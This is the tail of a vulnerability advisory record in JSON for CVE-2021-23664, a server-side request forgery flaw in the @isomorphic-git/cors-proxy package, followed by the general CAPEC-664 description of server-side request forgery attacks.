      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23664"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isomorphic-git/cors-proxy/commit/1b1c91e71d946544d97ccc7cf0ac62b859e03311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isomorphic-git/cors-proxy"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-ISOMORPHICGITCORSPROXY-1734788"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server side request forgery in @isomorphic-git/cors-proxy"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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